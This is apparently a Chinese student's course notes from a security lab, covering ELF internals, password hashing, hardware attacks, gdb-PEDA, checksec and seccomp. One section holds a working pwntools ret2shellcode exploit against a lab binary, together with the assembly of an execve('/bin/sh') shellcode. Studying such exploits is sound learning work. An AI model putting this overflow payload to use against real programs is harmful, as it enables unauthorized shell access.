计算机系统安全is308_lab2

Posted by chinaljr on April 1, 2018

apktool

借鉴

TEE

  • external secure element

TrustZone Overview

ARM

ELF executable linkable format 文件格式

学习网站

类型

  • 可重定位文件.o
  • 可执行文件 bin bash
  • 共享目标文件 .so
  • 核心转储格式文件 core dump

组成

  • ELF header
  • section header table
  • String tables
  • Symbol tables

段表

就是目录,存储位置有elf header 中 e_shoff决定

段表字符串表

保存ELF文件中 段名字符串内容

符号表

函数名和变量名就是符号名

lazy bind

学习博客

password hasing

密码工程

  • hash 输出 定长的 fingerprint
  • hashing crack
    • 字典 *
  • adding salt
    • 加上随机串

PBKDF2

password based key derivation function

  • key derivation
  • key strechion
  • Dk - PBKDF2(PRF,password,salt,c,dklen)

文件系统

彩虹表

Hardware 攻击

1.Bar code 2.QR code 支付宝 微信 3.magnetic stripe code 4.smart card EE知识 (2G时代 : A3 A5 A8 3G/4G : 旁路攻击 能量 和 电磁) 1.vSim eSim Sim卡被替代 2.银行卡被手机取代 5.RFIDs NFC 6.Biometrics

攻击

  • 截取数据包
  • 旁路攻击

  • cold-boot attack
  • DMA attack
    • 火线攻击
    • Thunderbolt 攻击
    • PCIe总线

保护

  • secure Processor
  • secure root 放在 CPU

  • 存储器机密性 和 完整性

fork

感觉自己都不好意思在这里写fork,写了就证明操作系统学了些shit,但是当初操作系统确实没有理解这个事情.

fork,子进程调用,那么会返回0,父进程调用会返回子进程id. 父子进程都是从fork的位置开始执行.

动态链接和静态链接

静态链接,是吧lib文件中用到的代码直接链接进目标程序;动态链接,是吧dll和调用函数在文件中的信息,链接进目标程序,运行时从dll中找函数代码.

HOOK

checksec

用于检查可执行文件的属性 使用 text

属性解释 Arch : 文件性质?归档信息? RELRO :设置符号重定向表格为制度或在程序启动时就解析并绑定所有的动态符号,减少对 GOT(Global offset Table )的攻击 Stack :栈保护 NX : 堆栈不可执行 PIE : 地址随机化 RWX : Read Write eXecute

pwn python

from pwn import *

r = process('./ret2sc')
name = 0x804a060
#gdb.attach(r, 'b *0x804a060')
r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")
payload = "a"*32
payload += p32(name)
r.sendline(payload)

r.interactive()

shellcraff.sh()

生成sh的代码

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

ldd

ldd命令用于打印程序或者库文件所依赖的共享库列表。

gdb && gdb-PEDA

强大插件 一个很强势的PEDA总结

pattern

pattern create size // 生成定长字符串
pattern offset value // 定位字符串位置

show

gdb attach PID

附着在这个进程进行GDB

vmmap

可以用来查看栈、bss段是否可以执行 show

seccomp

securecomputing mode

一种安全机制。

chrome浏览器,插件,native code ,外层有sandbox拦截系统调用。

sandbox思路:

  1. 掌握运行时需要访问的文件列表,其他程序,共享库,配置文件,系统调用,文件,资源。
  2. 不允许访问setuid的程序
  3. 禁止程序访问系统文件,获取系统信息

docker(执行一个程序的沙盒,工程意义大)

OS Details

kernal address space layout

virtual address to physical address

page table

process management